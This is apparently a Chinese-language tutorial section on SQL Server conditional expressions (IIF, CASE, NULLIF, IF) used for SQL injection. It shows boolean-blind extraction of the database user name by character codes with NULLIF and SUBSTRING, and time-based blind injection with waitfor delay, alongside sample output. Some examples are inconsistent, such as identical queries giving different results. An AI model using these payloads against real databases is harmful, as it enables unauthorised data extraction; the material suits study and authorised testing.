0x01 IIF 表达式
IIF 关键字是SQL Server 2012及上以版本才有的
解释: SELECT IIF(表达式, 表达式成立时返回, 表达式不成立时返回)
0x01.1 IIF表达式例子
| SQL | 结果 |
|---|---|
| select IIF(1=1,1,0); | 1 |
| select IIF(1=2,1,0); | 0 |
0x02 CASE表达式
解释1:select case 表达式when 判断条件 then 返回结果else 条件不成立时返回 end
解释2:case 后面紧跟要被作为判断的字段when 后面跟判断条件then 后面跟结果else 相当于 defaultend 是语句结束语
0x02.1 CASE表达式例子
| SQL | 结果 |
|---|---|
| select case 1 when 1 then ‘成功’ when 2 then ‘失败’ else ‘其他’ end; |
成功 |
| select case 2 when 1 then ‘成功’ when 2 then ‘失败’ else ‘其他’ end; |
失败 |
| select case 3 when 1 then ‘成功’ when 2 then ‘失败’ else ‘其他’ end; |
其他 |
0x03 NULLIF(expr1, expr2)
NULLIF(expr1, expr2) 比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1
| user() 数据转ascii | ||
|---|---|---|
| SQL | SUBSTRING(user,1,1) 结果 | ascii(SUBSTRING(user,1,1)) 结果 |
| select ascii(SUBSTRING(user,1,1)); | d | 100 |
| select ascii(SUBSTRING(user,2,1)); | b | 98 |
| 基础表数据 | ||
|---|---|---|
| id | username | password |
| 1 | test-user-01 | 123456 |
| 2 | test-user-02 | 234567 |
# 表示注入失败的时候# 匹配不相等的话返回的是 NULLIF 第一个参数的结果值sql server> select * from users where id='1' and NULLIF(ascii(SUBSTRING(user,1,1)),99)>=1;+----+-------+| id | name |+----+-------+| 1 | bbb |+----+-------+1 row in set
# 表示注入成功的时候# 匹配相等会返回 NULL 所以sql不会返回数据sql server> select * from users where id='1' and NULLIF(ascii(SUBSTRING(user,1,1)),99)>=1;Empty set
# 获取到的数据转成十进制sql server> select concat(nchar('100'),nchar('98'));+--------+| field1 |+--------+| db |+--------+
0x04 IF 表达式延时
经常用于 SQL Server 延时注入
# 测试数据1> select * from article;2> go+----+-----------+-----------+| id | title | content |+----+-----------+-----------+| 1 | 测试标题 | 测试内容 || 2 | 测试标题2 | 测试内容2 |+----+-----------+-----------+(2 rows affected)
# 条件成立时# 当if 里面的判断 1=1 时 会执行后面的 waitfor delay '0:0:5' 数据库会延时5S1> select * from article WHERE id=1 IF(1=1) waitfor delay '0:0:5';2> go+----+----------+----------+| id | title | content |+----+----------+----------+| 1 | 测试标题 | 测试内容 |+----+----------+----------+(1 rows affected) (5.15 sec)
# 条件不成立时# 当 if 里面的判断 1!=2 时 不会执行后面的 waitfor delay '0:0:5' 所以数据库不会延时1> select * from article WHERE id=1 IF(1=2) waitfor delay '0:0:5';2> go+----+----------+----------+| id | title | content |+----+----------+----------+| 1 | 测试标题 | 测试内容 |+----+----------+----------+(1 rows affected) (0.05 sec)
